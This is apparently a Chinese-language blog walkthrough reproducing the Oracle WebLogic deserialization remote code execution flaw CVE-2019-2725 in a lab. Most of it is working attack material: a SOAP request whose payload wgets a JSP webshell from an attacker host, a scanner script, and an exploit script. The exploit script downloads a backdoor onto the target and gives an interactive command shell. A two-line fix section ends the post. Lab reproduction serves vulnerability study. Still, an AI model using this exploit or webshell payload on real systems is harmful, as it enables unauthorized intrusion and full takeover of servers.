Weblogic反序列化远程命令执行（CVE-2019-2725）漏洞复现-含POC和EXP

漏洞描述

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CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。

影响版本 ：
weblogic 10.x
weblogic 12.1.3

环境搭建

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使用Vulfocus平台进行复现

官方地址：http://vulfocus.fofa.so

可以直接使用官方平台进行漏洞复现，如果有兴趣可以自己搭建Vulfocus平台

可以参考我以前的文章：传送门

进入镜像管理，搜索漏洞镜像，下载镜像

启动镜像

测试

http://192.168.132.144:58832/

漏洞复现

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可以访问/_async/AsyncResponseService，则存在漏洞

http://192.168.132.144:58832/_async/AsyncResponseService

查看网站路径

http://192.168.132.144:58832/_async/AsyncResponseService?info

在本机中开启简易http服务器

python3 -m http.server 8000

使用burp suite进行抓包，发送数据包，使服务下载木马文件

服务器从攻击者主机成功下载脚本

查看服务器中脚本文件

docker exec -it 6ee62a1d9545 bash
cd user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war

访问脚本，执行命令

http://192.168.132.144:58832/_async/2.jsp?pwd=023&i=ls

Burp Suite POC

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.132.144:58832
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 854
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POC和EXP脚本

---

POC代码

#CVE-2019-2725-POC
__author__ = '纸机'
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:7001]',default='7001')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2019-2725-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2019-2725-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/_async/AsyncResponseService'


def checking(url):
  try:
    response = requests.get(url+filename)
    if response.status_code == 200:
      print('[+] {0} 存在CVE-2019-2725 Oracle weblogic 反序列化远程命令执行漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2019-2725 Oracle weblogic 反序列化远程命令执行漏洞'.format(url))
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    exit()
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n','').replace('\r','').strip()
      checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
  exit()
else:
  #上传链接
  url = options.URL+':'+options.PORT
  checking(url)

测试

python3 CVE-2019-2725-POC.py -u http://192.168.132.144 -p 63473

python3 CVE-2019-2725-POC.py -f IP.txt

EXP代码

#CVE-2019-2725 EXP
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE] [-l locate]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:7001]',default='7001')
parse.add_option('-l','--locate',dest='LOCATE',help='sevice script')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2019-2725-POC.py [-u url] [-p port] [-l http://hack/script]\n')
        exit('CVE-2019-2725-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

#网站地址
url = options.URL+':'+options.PORT
#查看weblogic中间的版本目录
url_route = '//_async/AsyncResponseService'
#命令执行参数
payload = '/_async/3.jsp?pwd=023&i='

#获得weblogic中间的版本目录
def route(url):
  print('[*] 获得路径中')
  try:
    #print('[*] 目标地址:'+url)
    respond = requests.get(url)
    if respond.status_code == 200:
      route = str(respond.text)
      start = route.index('async_response/')
      #print(start)
      if start >= 0:
        start += len('async_response/')
      #print(start)
      end = route.index('/war')
      #print(end)
      #print(route[start:end])
      return route[start:end];
    else:
      print("[-] 路径获取失败")
      exit()
  except Exception as e:
    print("[-]{0}连接失败".format(url))
    exit()

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
       'SOAPAction':
       'Accept: */*',
       'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)',
       'content-type': 'text/xml'}
#data数据，反序列化，从攻击者服务器获得木马文件
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget {0} -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/{1}/war/3.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>'''.format(options.LOCATE,route(url+url_route+'?info'))



#从攻击者http服务器中下载木马文件
def acquire(url):
  print('[*] 目标地址:'+url)
  print('[*] 攻击者地址:'+options.LOCATE)
  try:
    respond = requests.post(url+url_route,headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 202:
      print('[+] 木马下载成功')
    else:
      print('[-] 下载失败')
      exit()
  except Exception as e:
    print("[-]{0}连接失败".format(url))
    exit()

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())
    else:
      print('[-] 命令执行错误')
      
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    exit()
#下载木马文件
acquire(url)

time.sleep(0.5)
#命令执行
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

测试

python3 CVE-2019-2725-EXP.py -u http://192.168.132.144 -p 63473  -l http://192.168.132.144:8000/backdoor.jsp.txt

修复建议

• 升级本地JDK环境

• 及时安装官方补丁

参考文章

https://www.cnblogs.com/twlr/p/13027190.html#_label0